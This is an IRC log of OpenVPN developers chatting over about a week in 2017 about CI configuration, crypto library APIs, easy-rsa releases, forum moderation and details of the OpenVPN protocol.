<@vpnHelper> RSS Update - tickets: #930: Inconsistent tun-mtu passed to up script on Windows <https://community.openvpn.net/openvpn/ticket/930> 20:13 <@ordex> moin 23:06 < CRCinAU> howdy 23:06 < CRCinAU> lovely sleep in sunday 23:35 <@ordex> here we got the second typhoon in one week :| but yesterday it was gorgeous :D --- Day changed Sun Aug 27 2017 12:39 < CRCinAU> in other news, Australia: https://i.imgur.com/SF6u2Ui.jpg 19:14 <@ordex> moin 22:09 <@ordex> syzzer: btw, travis-ci now has an addon for coverity, which means there is no need to use the curl $script | bash ....etc. You can directly configure the add on in the .travis.yml file and boom --- Day changed Mon Aug 28 2017 01:22 <@ordex> mh syzzer: too bad that it messes up the addons: section when you have multiple builds 01:22 <@ordex> your approach is better 02:46 <@ordex> dazo: cron2: syzzer: do we have an email/wikipage about the changes required to tls-crypt-v2 after our last meeting? 02:47 <@syzzer> ordex: nope 02:48 <@syzzer> but I did implement the server key format and metadata 'opcode' 02:48 <@syzzer> still need to review my own work and push the branch to gh 02:48 <@ordex> I will go through the meeting log then 02:48 <@ordex> oh ok 02:48 <@ordex> I can give it a first look if you want 02:48 <@ordex> you also created a wikipage about "patches", no? 02:50 <@syzzer> I merged that into the "Patches" page 02:50 <@syzzer> https://community.openvpn.net/openvpn/wiki/Patches 02:50 <@vpnHelper> Title: Patches – OpenVPN Community (at community.openvpn.net) 02:51 <@syzzer> re curve25519: mbed (and openssl) need to integrate that into their TLS stack before we can use it in openvpn 02:51 <@syzzer> mbed only has the underlying implementation iirc, not the TLS bits 02:52 <@syzzer> not much we can do there 02:56 <@ordex> syzzer: why do we need it in TLS? if we want to use Curve25519 for the data channel, do we still require it to be in the TLS stack ? 02:57 <@ordex> https://community.openvpn.net/openvpn/wiki/Patches << a manual version of patchwork hehe! 02:57 <@syzzer> ordex: there is no assymmetric crypto in the data channel 02:57 <@vpnHelper> Title: Patches – OpenVPN Community (at community.openvpn.net) 02:57 <@ordex> then I got it wrong 02:57 <@ordex> I understood that curve25519 is a suite including also a symmetric algorithm 02:57 <@ordex> maybe I have mixed it up 02:58 <@ordex> but I though curve25519 ECDH chacha20 were part of the same "bag" 02:58 <@ordex> I should read some more I guess :) 02:59 <@syzzer> ordex: all that is TLS 02:59 <@syzzer> ie control channel 02:59 <@ordex> ah ok 02:59 <@ordex> so they are used together in TLS, but there is no correlation other than that 02:59 <@ordex> ok 02:59 <@ordex> thanks 02:59 <@syzzer> for tls 1.2, there is indeed this X25519-chacha20-poly1305 suite 03:00 <@syzzer> or, no it's curve25519 (which is ECDH), not X25519 (which is signatures) 03:00 <@ordex> yap ok 03:00 <@ordex> but chacha20-poly1305 could still be used on its own for symmetric encryption+authentication no? 03:01 <@ordex> I mean, outside of TLS 03:03 <@syzzer> correct. as soon as the cipher abstraction layers add support for it 03:04 <@syzzer> can be an alternative to GCM 03:05 <@ordex> right 03:06 <@ordex> but you said that mbedtls has the implementation there, no? (just not in TLS, but we don't care at this point) 03:08 <@syzzer> that's curve25519 03:08 <@syzzer> I don't think they have chach20 nad poly1305 in place 03:08 <@ordex> ah ok 03:08 <@ordex> thanks for bearing with me :P I did not look tooo deep into this 03:15 <@ordex> mah there is a PR for mbedTLs since may last year ... but at mbedtls they are quite slow to integrate stuff from outside it seems :S 03:16 <@ordex> also my old patch got basically lost 03:16 <@ordex> I think this is the main problem of mbedtls being a not-real-community-project 03:16 <@ordex> :( 03:18 <@ordex> openssl has it in 1.1 instead 05:02 <@ordex> syzzer: I am including a simple travis file in the ovpn3 repo and I would like somebody more knowledgeable to have a look. Could you have a look at two PRs when you have time? they are https://github.com/OpenVPN/openvpn3/pull/15 and https://github.com/OpenVPN/openvpn3/pull/16 05:02 <@vpnHelper> Title: add basic support for Travis CI by ordex · Pull Request #15 · OpenVPN/openvpn3 · GitHub (at github.com) 05:03 <@ordex> :] dank je 06:56 <@mattock> has anyone else had problems with openvpn-devel mailing list? 06:56 <@mattock> I'm not able to send email there, and I probably have not received mails in many days 06:57 <@syzzer> mattock: everything working fine here 06:58 <@mattock> odd 06:58 <@dazo> I've received mails too 06:58 <@dazo> mattock: did you react to the "confirm subscription" mails from sf.net which were sent out a while ago? 07:05 <@mattock> dazo: no 07:05 <@mattock> but I resubscribed now 07:05 <@dazo> that might be why :) 07:05 <@mattock> yeah 07:05 <@mattock> I assume I need to resubscribe to all of the mailing lists? 07:05 <@dazo> I might have missed that one for the build obts 07:05 <@dazo> yeah 07:05 <@mattock> ok, will do that now then 07:13 <@dazo> mattock: I see no mails at all to the openvpn-builds ML .... is buildmaster running? 07:13 <@dazo> or are we _that_ good that we don't have any failing build slaves? 07:13 * dazo don't quite believe that 07:21 <@ordex> may I get subscribed to that ml too ? 07:26 <@dazo> sure, ordex! https://sourceforge.net/projects/openvpn/lists/openvpn-builds ;-) 07:26 <@ordex> ah it's public, thanks! 07:46 < slypknot> mattock: ecrist asked if you could start using easy-rsa 3.0.3 for next windows release ? 07:47 < slypknot> Sounds like a big change to me but dazo kind of ACK'd it .. 07:47 <@ecrist> hold off for 3.0.4 07:48 <@ecrist> if it's not done yet - might be one more bug I introduced in a copy-extensions feature add 07:49 < slypknot> I don't see any discussion about this fairly major change .. 07:49 <@ecrist> what do you want to know? 07:51 <@dazo> slypknot: we simply need to ditch easy-rsa-2 .... that's old, crappy, full of issues .... easy-rsa-3 is much saner and more user friendly 07:51 <@ecrist> we don't maintain 2 any longer, either 07:51 <@ecrist> no bug fixes, etc 07:51 <@dazo> I don't have any strong opinions on which Windows release to carry easy-rsa-3 ... just that it must be done asap 07:51 < slypknot> Considering the hoops I had to jump thru to get openvpn.8 changed from "Server -name-prefix" to "Server- name-prefix" I would have thought changing the version of easy-rsa in windows release would require some public discussion .. 07:52 <@ecrist> dazo: I think the next release should be easy-rsa 3 07:52 <@ecrist> whenever that arrives 07:52 <@dazo> ecrist: minor or major release? 07:52 <@ecrist> I'll make sure to have 3.0.4 released before then, to fix this other bug 07:52 <@ecrist> dazo: that's up to you, I suppose 07:52 <@ecrist> it seems most people are trying to use 3.x anyhow 07:53 <@dazo> slypknot: it is Selva, d12fk and samuli who are the keepers of the Windows releases .... so they are the one who decides what goes in when and the process for that 07:53 <@ecrist> slypknot: easy-rsa is maintained separately from openvpn, which version of easy-rsa openvpn includes is relatively minor, and done only as a convenience for windows users 07:54 <@dazo> +1 07:54 <@ecrist> we could just as easily say easyrsa will no longer be bundled with the windows release 07:54 <@ecrist> that would cause more crying from users than upgrading the easy-rsa included 07:55 < slypknot> ok 07:56 <@ordex> lol 07:56 <@ordex> I like that option! crying and screaming! 07:56 <@dazo> we could just say: install Linux! 07:57 < slypknot> Thats a good idea ;) 07:58 <@ordex> why? is there anything else other than Linux ? 07:58 <@ordex> :p 07:58 * ordex can feel cron2 's wrath 07:58 <@ecrist> yeah, BSD 07:58 <@ordex> wasn't it LSD once ? 07:58 -!- ordex was kicked from #openvpn-devel by ecrist [feel mine! muahahaha] 07:59 -!- mode/#openvpn-devel [+o ordex] by ChanServ 07:59 <@ordex> :P 08:19 * ecrist reads the Frech pull request 08:23 <@ecrist> mattock: I'll reply on the mailing list, but there are a few things I think should be changed. 10:21 < CRCinAU> fucking hell. 10:21 < CRCinAU> one of my systems just got popped..... 10:22 < CRCinAU> fucking bug in RH7.4 atm where if you have both an ipv4 and ipv6 firewall, a timing issue can cause one of them not to apply 10:24 < CRCinAU> thankfully, it's a VM so I can pull it down, mount it in a chroot and fix the fucker 10:25 < CRCinAU> but not what I want to be doing at 1:20am 10:44 <@ecrist> it's not 1:20am in the free world. :P 10:45 < CRCinAU> wheres that? 10:46 < CRCinAU> thankfully, the automated linux malware shit is pretty lame 10:46 < CRCinAU> meaning you can be pretty sure you've removed most of it fairly easily 10:59 <@plaisthos> CRCinAU: rhel 7.4 or really rh 7.4? 11:04 < CRCinAU> rhel 7.4 11:04 < CRCinAU> I filed this: https://bugzilla.redhat.com/show_bug.cgi?id=1477413 11:04 <@vpnHelper> Title: Bug 1477413 Firewall fails to apply when using iptables-services (at bugzilla.redhat.com) 11:05 < CRCinAU> 3 weeks and counting :\ 11:07 < CRCinAU> just added a nudge to that bug report.... 11:07 < CRCinAU> considering its 'urgent' & priority 'high' (set by RH, not me) 11:11 <@ordex> CRCinAU: everything is relative .. 11:12 < CRCinAU> true, but 'firewall fails to start' is pretty up there 17:58 < MK__> What is the logic when client/server have to send ack (P_ACK_V1)? 17:59 < MK__> (in TLS mode) 18:07 <@plaisthos> MK__: what exactly are you looking for? 18:08 <@plaisthos> low level protocol description? 18:08 < MK__> Yes 18:08 < MK__> Looking at the source code, trying to find the logic when ac ACK is sent 18:08 <@plaisthos> We don't really have a complete protocol specification 18:08 <@plaisthos> there is a wiki page that describes security related stuff 18:09 <@plaisthos> IIrc dazo was looking into writing a RFC with the specification 18:09 <@plaisthos> MK__: there is also OpenVPN 3 which is C++ reimplementation of OpenVPN 18:10 < MK__> Why re-implementation? 18:10 <@plaisthos> MK__: short version: Apple App store does not allow GPL 18:11 <@plaisthos> https://github.com/OpenVPN/openvpn3 18:11 <@vpnHelper> Title: GitHub - OpenVPN/openvpn3: OpenVPN 3 is a C++ class library that implements the functionality of an OpenVPN client, and is protocol-compatible with the OpenVPN 2.x branch. (at github.com) 18:11 < MK__> So, it is just a client 18:12 <@plaisthos> yes and no 18:12 <@plaisthos> protocol support has client and server 18:13 <@plaisthos> but the actual code that is need to run a server (internal routing etc.) is not in there 18:14 <@plaisthos> MK__: iirc P_ACK_V1 is just like a TCP ACK 18:15 <@plaisthos> it notifies the other side that the packet has been sucessfully received 18:15 < MK__> So, that is mostly developed to be included in appa 18:15 < MK__> apps 18:15 <@plaisthos> that was the primary motivation 18:15 <@plaisthos> but OpenVPN Inc itself runs also servers with that code 18:16 <@plaisthos> +kernel openvpn encryption offloading that is not public 18:17 < MK__> Thanks 18:58 <@ordex> aloha 20:38 < slypknot> classify this any one ? https://forums.openvpn.net/viewtopic.php?f=36&t=24787 20:38 <@vpnHelper> Title: OpenVPN/PiVPN on Raspbian Stretch: Error parsing config private key - OpenVPN Support Forum (at forums.openvpn.net) 20:46 <@plaisthos> stupid? 20:47 <@plaisthos> but openssl problem 20:50 < slypknot> i see a lot of dumb shit on the forum but this one is looking extra dumb .. 20:50 <@ordex> in the Connect iOS section ? 20:57 < slypknot> fuck it .. i am deleting it --- Day changed Tue Aug 29 2017 07:54 <@ecrist> wait, what? 07:54 <@ecrist> slypknot: you can't just delete posts you identify as "stupid" 08:01 <@ecrist> What did "markhascole" do that earned a ban? 08:23 < slypknot> ecrist: the post i deleted suggested using sudo to edit a keyfile to change the password to 'abcd' .. it looked like a way to get people to change thier key pass to abcd .. with no proper explanation 08:23 <@ecrist> slypknot: that's not a reason to delete a post and ban a user 08:23 < slypknot> Marchascole just wanted to spam for vpnservices expressvpn 08:25 < slypknot> I rarely delete a post unless it sets off alarm bells 08:25 < slypknot> or is simple spam 08:26 <@ecrist> yeah, in that case, you should have just commented on why you thought it was a bad idea. 08:26 <@ecrist> worst case, lock the topic 08:27 < slypknot> i get practically no help moderating the forum so I have had to make my own rules .. which might be a bit strict 08:28 < slypknot> but after moddfing for so long you get a feel for who is only a spammer 08:29 < slypknot> but that *one* post about editing passwords in key files just looked to much like a way to get naive people to bodge up their own pki 08:29 < slypknot> it looked like bad advice 08:30 < slypknot> but .. if you prefer i leave them in furure then sure 08:36 <@ecrist> yes, please. 08:38 < slypknot> I presume somebody came crying to #openvpn ? how often does that actually happen .. once in a blue moon do i maybe get a little heavy handed 08:39 <@ecrist> let's just try to avoid it 08:43 < slypknot> and no further explanation ..... 09:26 < MK__> Is there any high/low level explanation of why OpenVPN uses an array of packet-ids in the header? 09:40 < slypknot> This one is for the crypto experts, if you can shed some light that would be appreciated : https://forums.openvpn.net/viewtopic.php?f=6&t=24763 09:40 <@vpnHelper> Title: Using experimental mbedTLS ciphersuites with OpenVPN - OpenVPN Support Forum (at forums.openvpn.net) 09:58 < slypknot> ecrist: good luck with editing user posts to use oconf .. i gave up after a month of doing it for them 10:00 <@ecrist> slypknot: it's for my own sanity 10:04 < slypknot> if they have an interesting problem which and have not used oconf I sometimes change it for the readability 10:13 <@dazo> syzzer: seen the form post slypknot pointed at? .... Is it needed to enlist new ciphers into the tls_cipher_name_translation_table? 10:15 <@dazo> (doesn't look so, based on the code though) 10:18 < slypknot> dazo: do you know what causes this : Software caused connection abort (WSAECONNABORTED) 10:19 < slypknot> details here : https://forums.openvpn.net/viewtopic.php?f=4&t=24790#p72635 10:19 <@vpnHelper> Title: From WAN: Connection from IOS works but not OSX - OpenVPN Support Forum (at forums.openvpn.net) 10:30 <@ordex> MK__: are you talking about the ACK array ? 10:32 <@dazo> slypknot: Yes, it's Windows .... ditch it and you won't ever see a WSA* error ever again ;-) 10:33 < MK__> ordex: yes 10:33 < MK__> based on tcpdump, the array also exists in non-ack packets 10:33 <@ordex> then those should be the ACK'd IDs for the openvpn reliable layer (yes, openvpn implements its little reliable layer for control packets) 10:33 <@ordex> MK__: yeah, ACK packets are *only* ACK 10:34 <@ordex> non ACK can have the ACK'd array piggybacked 10:34 <@ordex> like in TCP 10:34 <@ordex> you should see that the IDs match previously received control packets IDs 10:35 <@ordex> IIRC. somebody corrects me if I am wrong 10:35 < MK__> Git it, however, why an array? 10:35 < MK__> Given a client and a server talking 10:35 < MK__> Git -> Got 10:36 <@ordex> I believe because there might be several packets being sent in a row, before the other part has a chance to send an ACK. it is not a stop-and-wait protocol 10:36 <@ordex> tcpdump/wireshark should show that I believe 10:36 <@ordex> but don't take this for 100% correct. it has been some time since I looked into that 10:39 < MK__> OK, looks reasonable 10:39 <@dazo> slypknot: hard to say ... from what I can see, "Software caused connection abort" maps to a ECONNABORTED error message ... it is not code=53 on Linux, but might be that on macOS 10:40 <@dazo> slypknot: it might be that nothing is connected to management interface ... which then causes those errors 10:41 <@dazo> the management interface in OpenVPN seems to wait for a "hold release" command to be issued 10:42 <@dazo> slypknot: try connecting directly from the command line .... then you'll get an idea if it is Tunnelblick or something else causing this 10:42 <@dazo> behaviour 10:52 < slypknot> dazo: thanks 10:58 < slypknot> dazo: FYI: the log shows MANAGEMENT: CMD 'hold release' .. and all messages are positive up till the "software caused connection abort" 11:01 < slypknot> could it be that there is a firewall blocking+refusing port 1194:udp ? (eg icmp admin prohibited network) 11:53 < slypknot> is error.c:836 correct ? I can get "case WSAECONNRESET" before the TAP adaptor is opened .. 11:58 <@dazo> slypknot: that's the "compat wrapper" message for Windows .... iirc, the tun/tap adapters are setup after the udp/tcp connection have been established ... so it is not unlikely that it's a firewall issue 12:02 < slypknot> dazo: my question is regarding line 836 .. in this case the normal eth/wifi must be returning the error not TAP adapter ? *confused 12:13 <@dazo> slypknot: WSAECONNRESET is related to a Windows error notification/return code .... I'm not familiar enough with all the code paths which may provide such an error, especially not on Windows 12:15 <@dazo> it is related to the udp/tcp socket, used between server and client (or peers) .... but with the information I sit on right now, it is impossible to say why that error is occuring 12:18 < slypknot> dazo: thanks 15:14 < slypknot> cron2: this was sent in reply to *you* (incase you missed it): https://forums.openvpn.net/viewtopic.php?f=10&t=14395#p48237 15:14 <@vpnHelper> Title: OpenVPN for lossy links. OpenVPN + forward error correction - OpenVPN Support Forum (at forums.openvpn.net) 16:35 < slypknot> I want to CC me on #2 .. but that is a very emphatic Won't fix from cron2 16:41 < slypknot> openvpn devs definitely don't need the extra work to be bringing down the GfWoC 16:42 < slypknot> but a nice side project for somebody else 16:42 < slypknot> but they might need to consider their safety 18:52 < slypknot> dazo: that earlier one about "ECONNABORTED" was a local app called Tripmode (basically a firewall) 18:55 < slypknot> ecrist: you choose .. https://forums.openvpn.net/viewtopic.php?f=30&t=24794 18:55 <@vpnHelper> Title: Connect 2 sites - OpenVPN Support Forum (at forums.openvpn.net) 18:56 < slypknot> nevermind .. it did it 18:57 < slypknot> nope .. all yours 19:34 <@ordex> morning 19:54 < slypknot> eh up :) 22:04 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:14 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:14 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Wed Aug 30 2017 04:46 < CRCinAU> so umm... to bang the drum..... news on a new version release? 04:46 < CRCinAU> and on a personal level, on my yubikey script? :P 07:27 <@dazo> CRCinAU: no news on an imminent release yet .... sorry about that. When it comes to the yubikey script, cron2 wanted to have a look at it - but he's been just too busy. But if nothing have happened before the hackathon (it's in November, I know....), I'll surely follow it up there 07:29 <@ecrist> slypknot: what's the problem with that post? 07:29 < slypknot> ecrist: forget it .. it's done now 07:30 <@ecrist> what's done? 07:30 < slypknot> moved to a more appropriate board 08:42 < CRCinAU> dazo: so nice of you to reply to that guy :P 08:42 < CRCinAU> I was going to do it the Aussie way ;) LOL 08:42 < CRCinAU> you way is much more polite. 08:45 <@dazo> heh ... and I who thought I was a bit rough ... 08:53 < CRCinAU> my words would probably set off a few corporate mail filters lol 08:53 < CRCinAU> so kudos ;) 08:56 <@dazo> hehehe :) 08:57 < CRCinAU> in other news. oh. my. god. 08:57 < CRCinAU> https://i.imgur.com/izAfswr.jpg 09:04 < CRCinAU> Oooo - new nvidia driver. lets see what I break next. 09:06 <@dazo> hehe .... I've had two laptops with nvidia (A Dell and after that a ThinkPad T61p) ... and since those days my newer machines have specifically been ordered _without_ nvidia GPUs .... For my use cases Intel ones have been more than good enough, less driver hassle and reasonable stable in Linux 09:09 < CRCinAU> yeah - laptops are fine with Intel 09:09 < CRCinAU> but dammit, this is a tri-screen setup that I want to game on 09:10 <@dazo> hehehe .... well, if you're into that kind of gaming .... :) 09:10 < CRCinAU> but I hit that ryzen bug in linux ( 09:11 < CRCinAU> :( 09:11 < CRCinAU> meaning I can SEGV gcc at will when I push it (like make -j 16) 12:10 <@dazo> danhunsaker: you here? 14:17 <@plaisthos> dazo: I booted Ubuntu 17.10 pre release on notebook for fun 14:17 <@plaisthos> It worked and I got into X11 14:17 <@plaisthos> but I had no mouse or keyboard :) 14:20 <@dazo> plaisthos: heh ... as Ubuntu pissed me off by it's bugs many years ago, I'd say I'm not surprised :-P 14:21 <@dazo> (and which is why I've found RHEL/Scientific Linux reasonable alternatives ... it mostly works :) ) 14:21 <@dazo> plaisthos: you're sure Ubunutu haven't switched to wayland too? 14:24 < slypknot> plaisthos: sounds like "view only" mode 14:24 <@dazo> hehe 14:24 < slypknot> unless you mean the live desktop .. duh 14:25 <@dazo> "if you want to *do* things in this system, you must SSH into it!" :-P 14:25 < slypknot> ssh -X 14:33 < slypknot> dazo: nudge nudge .. https://www.mail-archive.com/openvpn-users@lists.sourceforge.net/msg04066.html 14:33 <@vpnHelper> Title: Re: [Openvpn-users] Server vs Client cert generation (at www.mail-archive.com) 14:36 <@dazo> slypknot: yeah, I know ... still piling up patches a bit more ... will look at things next week 14:37 < slypknot> no problem ;) 14:43 < slypknot> funny how somebody used the manual and did not spot the error .. ;) 14:46 <@vpnHelper> RSS Update - tickets: #931: TAP mode can loop packets back to the originating client <https://community.openvpn.net/openvpn/ticket/931> 19:22 <@vpnHelper> RSS Update - tickets: #932: Update from the OpenVPN GUI <https://community.openvpn.net/openvpn/ticket/932> 22:04 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:14 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:14 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Thu Aug 31 2017 08:43 <@plaisthos> hm I should really implement a stripped down openssl speed version in my app 08:43 <@plaisthos> getting openssl speed results on android is otherwise a real pain 11:13 <@dazo> plaisthos: why not have it as a separate app? to avoid bloating the VPN client? 11:14 <@ordex> and could be helpful for other people too 11:14 <@ordex> that want to compare smartphones 11:14 <@ordex> and see who has the longe..ehm the fastest :D 11:34 <@plaisthos> ordex: the code is barely 100 lines of code 11:34 <@plaisthos> and I have to ship the OpenSSL library anyway 11:36 <@plaisthos> Maybe I put it also into in a dedicated OpenSSL speed app 11:36 <@plaisthos> Test your speed!!!1111 11:36 <@plaisthos> Boring vs Open - the fight 11:37 <@ordex> lol 11:37 <@ordex> well, wouldn't be bad 11:38 <@ordex> so that on each device you can drain your batter...ehm you can test the various libraries and see which one performs better for that particular platform 11:38 <@plaisthos> probably more accurate, OpenSSL 1.1 vs whatever is that the crypto api of Java ends up using 13:39 < slypknot> dazo: talking about the matrix .. ever seen this before ? https://www.simulation-argument.com/simulation.html 13:39 <@vpnHelper> Title: Are You Living in a Simulation? (at www.simulation-argument.com) 18:18 < Luqman> Hi, what's the difference between P_DATA_V1 and P_DATA_V2 packets. https://openvpn.net/index.php/open-source/documentation/security-overview.html doesn't mention it 18:18 <@vpnHelper> Title: Security Overview (at openvpn.net) 20:19 <@dazo> Luqman: I just take this from memory, but IIRC, P_DATA_V2 is better aligned (byte wise) plus it carries the Peer-ID field, which allows clients to more smoothly migrate from one IP address to another one without needing to re-negotiate the VPN tunnel. 20:36 < Luqman> dazo: Ah thank you! Then, is it possible to send only P_DATA_V2? Looking at a packet capture I see both on the wire 22:04 <@ordex> hi 22:09 < CRCinAU> dazo: as a fellow SL user, I'm actually pondering going back to CentOS :\ 22:09 < CRCinAU> as much as that pains me 22:09 <@ordex> SL ? 22:09 < CRCinAU> although my ultimate choice is to install real RHEL everywhere ;) 22:09 < CRCinAU> Scientific Linux 22:09 <@ordex> ah 22:09 < CRCinAU> I have a license for 100 RHEL VMs 22:09 < CRCinAU> but only 1 bare metal install 22:10 < CRCinAU> so I've been slowly moving all my VMs to real RHEL 22:10 < CRCinAU> but yeah - installation on a real machine means CentOS / SL or similar 22:49 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 22:49 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Fri Sep 01 2017 06:16 <@dazo> CRCinAU: yeah, I've been pondering on the same too for new installs ... but I know all the SL quirks now, and CentOS does some things differently too ... funny enough, I find SL closer to RHEL in some aspects than CentOS 06:19 <@dazo> plus, it also helps that I have a local SL mirror, so installs and updates goes fairly quickly 06:23 <@ordex> local SL mirror? 06:23 <@ordex> you host it in your kitchen ? 06:23 <@ordex> :) 06:26 <@dazo> heh :) 06:26 <@dazo> well, I have 10 virtual machines at home .... 06:27 <@dazo> or not all virtual .... now it is 1 laptop, a physical server and 8 VMs .... pluss I have a couple of external VPSes too, which grabs its stuff from my mirror 06:53 < slypknot> does anybody know if Cisco now support openvpn ? I thought they only did their own VPN not openvpn .. 07:01 < slypknot> meh .. i think they are just confused idiots .. cisco does not use openvpn. 07:05 < CRCinAU> dazo: you know you can do a cross-installation? 07:06 < CRCinAU> ie remove sl-release and install centos-release (with a little bit of trickery) and then fix everything with a 'yum distribution-synchronization' 07:06 < CRCinAU> (yes, nobody had the brains to use 'distro-sync' instead) 07:42 <@ordex> slypknot: cisco has always used its own vpn protocol and client 07:42 <@ordex> slypknot: I think it was called anyconnect or cisco connect - something along those lines 07:43 <@ordex> dazo: syzzer: did we really agree on this line wrapping? https://community.openvpn.net/openvpn/wiki/CodeStyle#Linewrapping 07:43 <@vpnHelper> Title: CodeStyle – OpenVPN Community (at community.openvpn.net) 07:44 <@ordex> didn't we say that operators have to be at the end of the line and not at the beginning of the new one ? 07:47 <@syzzer> no, beginning. 'knuth style', iirc 07:48 <@ordex> mh 07:48 * ordex feels confused 07:48 <@ordex> :D 07:48 <@ordex> ok 08:00 < slypknot> ordex: thanks but don't worry about it 08:51 <@dazo> ordex: yeah, as syzzer said ... operators in the beginning 08:52 <@ordex> oh ok --- Day changed Sat Sep 02 2017 00:12 <@ordex> hoi hoi 04:04 < CRCinAU> sddm crashing on boot after glibc update? 04:04 < CRCinAU> aaaaanddd wrong channel. 14:34 <@ordex> syzzer: when encrypting the frame with tls-crypt, is the result size of the ciphertext the same as the plaintext ? 14:35 <@ordex> just asking because i want to understand if encryption/decryption can be done onthe same buffer rather than using a secondary one 14:39 <@ordex> maybe this is just a bad idea --- Day changed Mon Sep 04 2017 02:30 <@syzzer> ordex: the crypto libs don't support in-place encryption according to their API spec. In practice it seems to work, but I wouldn't want to gamble on it... 02:30 <@ordex> syzzer: where is that written exactly? I haven't found such reference 02:31 <@ordex> actually mbedtls_cipher_update() throw an error, but might be a bug. while mbedtls_aes_crypt_ctr() works just fine 02:31 <@ordex> I have asked for a clarification on mbed.org 02:32 <@syzzer> uhh, will need to search for that again. But I asked myself the same question and recall ending up at that conclusion. 02:33 <@ordex> oh ok 02:33 <@syzzer> ordex: cipher.h: * \param output buffer for the output data. Should be able to hold at 02:33 <@ordex> also openssl does not complain with aes-ctr 02:33 <@syzzer> * least ilen + block_size. Cannot be the same buffer as 02:33 <@cron2> JFTR, I'm back :-) - and drowing in paper mail, dirty clothes, and unpacked cargo... 02:33 <@syzzer> * input! 02:33 <@ordex> syzzer: mbedtls.h ? 02:33 <@ordex> *mbedtls 02:33 <@ordex> cron2: :D 02:34 <@syzzer> include/mbedtls/cipher.h 02:34 <@syzzer> mbedtls_cipher_update() 02:34 <@ordex> mh 02:35 <@ordex> so when using the generic layer this can't work .. while indeed works with mbedtls_aes_crypt_ctr() that is different 02:35 <@ordex> it uses the block_stream as a cache so probably avoiding any related issue (maybe) 02:38 <@syzzer> this really depends on the underlying implementation, and my guess is that they just took the simpler approach 02:38 <@ordex> yeah, likely 02:38 <@syzzer> they e.g. also support changing the underlying AES function (whith e.g. a hardware one) 02:38 <@syzzer> any requirements they put up here trickle down to all lower-level implementations 02:38 <@ordex> yup 02:39 <@ordex> makes sense 03:03 <@syzzer> cron2: welcome back :) 03:03 <@syzzer> managed to wind down a bit? 03:19 <@cron2> yup, vacation was good :-) - a bit more windsurfing would have been nice (wind was useful exactly *one* day, and that was the second-to-last day where we had already given up and started packing away the windsurf gear) 03:20 <@cron2> but with the kids, there was not really time for relaxed windsurfing anyway 03:26 <@cron2> where did dazo disappear to? a flurry of patches applied, and then silence... 03:41 <@mattock> dazo works in mysterious ways 03:42 * dazo looks up 03:42 <+novaflash> The Collective has absorbed the dazo 03:42 <+novaflash> the dazo is ours now 03:42 <@dazo> :-P 03:42 * dazo decides to lets novaflash live in that dream .... the power of the matrix 03:43 <+novaflash> does dazo also make silly comments like "don't forget that if you change something it might break something" on the open source side of things? 03:43 <@dazo> nah, here I do those mistakes and the others here point it out for me 03:45 <@dazo> cron2: I thought catching up with 2-3 month old patches was a reasonable patch queue clean-up :) and to get a few more patches piled up again :) 03:45 * dazo have at least one more patch getting ready for submission 03:48 <@cron2> heh :) 07:00 <@ordex> syzzer: https://tls.mbed.org/discussions/bug-report-issues/bogus-aes-ctr-input-validation-in-mbedtls_cipher_update 07:00 <@vpnHelper> Title: bogus AES-CTR input validation in mbedtls_cipher_update() - Discussion Forum - mbed TLS (Previously PolarSSL) (at tls.mbed.org) 07:00 <@ordex> I just got a reply 07:00 <@ordex> but the guy does not talk about input != output 07:01 <+novaflash> i wonder if openssl will ever rename to opentls or something ;) 07:53 <@syzzer> ordex: ah, let's see. But are your writing mbed-only code? Because the openssl API also requires: "the amount of data written may be anything from zero bytes to (inl + cipher_block_size - 1) so out should contain sufficient room." 07:53 <@syzzer> from man EVP_EncryptUpdate 08:12 <@ordex> syzzer: does not mention the buffer not being the same given as input 08:13 <@ordex> and EVP_EncryptUpdate is generic, while the fact that input can be equal to output is somewhat specific to aes-ctr, ths I wouldn't expect to find any reference to this point in the EVP_EncryptUpdate doc 08:13 <@ordex> but dunno, I should check 08:13 <@ordex> syzzer: no I am doing openssl&mbedtls, but the former just worked, while the latter errored out, thus I checked the code and opened a ticket on the forum 08:34 <@syzzer> ordex: can be tricky. the former quite regularly pretends to work, but fails in interesting ways if you didn't investigate the function contract carefully 08:38 <@ordex> :D 08:38 <@ordex> interesting 08:47 <@plaisthos> yeah, OpenSSL as its best 09:13 < JaguarDown> Can I ask about building/installing 2.4.3 here or should I ask in #openvpn? 09:21 <@plaisthos> more appropiate in #openvpn 09:26 < JaguarDown> Thanks! 13:42 -!- Netsplit *.net <-> *.split quits: @cron2 14:55 -!- cron2_ [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 14:55 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 19:19 <@ordex> morning --- Day changed Tue Sep 05 2017 02:38 <@ordex> syzzer: https://tls.mbed.org/discussions/bug-report-issues/bogus-aes-ctr-input-validation-in-mbedtls_cipher_update 02:38 <@vpnHelper> Title: bogus AES-CTR input validation in mbedtls_cipher_update() - Discussion Forum - mbed TLS (Previously PolarSSL) (at tls.mbed.org) 02:38 <@ordex> the guy said that inplace encryption with aes-ctr is allowed 02:46 <@ordex> there is just this bug in the generic layer that is preventing it from working, but the apparently the crypto function is made to have it working 03:50 <@syzzer> ordex: if they are willing to guarantee that it works, that should be fine 03:51 <@ordex> syzzer: apparently they already expect it to be working. it's just the generic layer that had this issue with the input validation 03:51 <@ordex> at least, this is how I understand it 03:54 <@syzzer> I'm still a bit weary that there was some underlying reason why they didn't support it, but they just forget about it :p 03:54 <@syzzer> e.g. swapping the underlying AES implementation 04:16 <@ordex> syzzer: well...that can't be excluded. the point is that the explicit CTR api (i.e. without using the generic layer) supported it already 04:16 <@ordex> but forgetting reasons for things that have been done is not so uncommon 04:16 <@ordex> :d 06:04 <@dazo> interesting ... just looked at the signatures for our security@o.n key .... and there are 4 new signatures of persons I don't recall have been in contact with the community at all 06:05 * dazo wonders how the verified the authenticity .... 06:22 <@plaisthos> Users sends me a log consisting of just 5 lines and one of the lines is "2017-09-04 20:35:56 OpenSSL reproted a certificate with a weak hash, please the in app FAQ about weak hashes" 06:22 <@plaisthos> and the question is what OpenSSL md too weak means 06:22 